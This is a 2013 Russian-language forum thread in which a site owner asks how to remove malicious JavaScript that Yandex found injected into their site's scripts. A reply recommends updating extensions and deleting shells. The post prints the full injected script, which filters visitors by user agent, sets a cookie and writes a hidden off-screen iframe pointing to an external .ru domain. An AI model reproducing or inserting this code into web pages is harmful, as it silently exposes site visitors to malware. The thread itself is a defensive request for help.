0 Пользователей и 1 Гость просматривают эту тему.
  • 1 Ответов
  • 1105 Просмотров
*

stk

  • Захожу иногда
  • 103
  • 2 / 0
Вредоносный код
« : 04.05.2013, 12:19:08 »
При проверке Вашего сайта антивирусный комплекс Яндекса обнаружил в .js-скриптах вредоносный код следующего содержания:

/*214afaae*/(function(){
function stripos (f_haystack, f_needle, f_offset) {
var haystack = (f_haystack + '').toLowerCase();
var needle = (f_needle + '').toLowerCase();
var index = 0;
if ((index = haystack.indexOf(needle, f_offset))!== -1) {
return index;
}
return false;
}
function zzz_check_ua(){
var blackList = 'Linux|Macintosh|FreeBSD|Chrome|iPad|iPhone|IEMobile|Android|Firefox/18.0|Firefox/18.0.1|Firefox/18.0.2|Firefox/19.0|Firefox/19.0.1|Firefox/19.0.2|Firefox/20.0';
blackList = blackList.split('|');




var blackUA = false;
for (var i in blackList) {
if (stripos(navigator.userAgent, blackList)!==false) {
blackUA = true;
break;
}
}
return blackUA;
}
function setCookie(name, value, expires) {
var date = new Date( new Date().getTime() + expires*1000 );
document.cookie = name+'='+value+'; path=/; expires='+date.toUTCString();
}
function getCookie(name) {
var matches = document.cookie.match(new RegExp( "(?:^|; )" + name.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g, '\$1') + "=([^;]*)" ));
return matches ? decodeURIComponent(matches[1]) : undefined;
}
if (!zzz_check_ua()) {
var cookie = getCookie('b19ad018sc');
if (cookie == undefined) {
setCookie('b19ad018sc', true, 292200);   
document.write('<iframe height="115" style="position:absolute;left:-1000px;top:-1000px;" width="115" src="http://braggingallyou.ru/7ytfjh.YWUkdtKG?default"></iframe>');
}
};
})();/*eaa795220*

Подскажите, пожалуйста, где его найти и как избавиться?
*

wishlight

  • Живу я здесь
  • 4762
  • 279 / 1
  • 300 руб очень быстрый хостинг в ЕС
Re: Вредоносный код
« Ответ #1 : 04.05.2013, 14:30:52 »
Обновить JCE и расширения с nonumber framework. А потом удалить шеллы и внедрения кода. Искать можно код в тотал коммандере хотя бы. Или notepad ++. Если сам не можете, обратитесь в коммерческий раздел.
« Последнее редактирование: 07.04.2014, 11:52:08 от wishlight »
Мои VDS быстрее твоих (промокод 648194016 - скидка 25% на первый месяц)|Надежные VDS(скидка 10% ovz WPCLMX6YWG kvm 7SIHW75O9Q)|Дешевые VDS|Хостинг против взломов|Решаю ваши проблемы.
Лечу от вирусов и хостинг

Защита сайтов и логи взломов
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться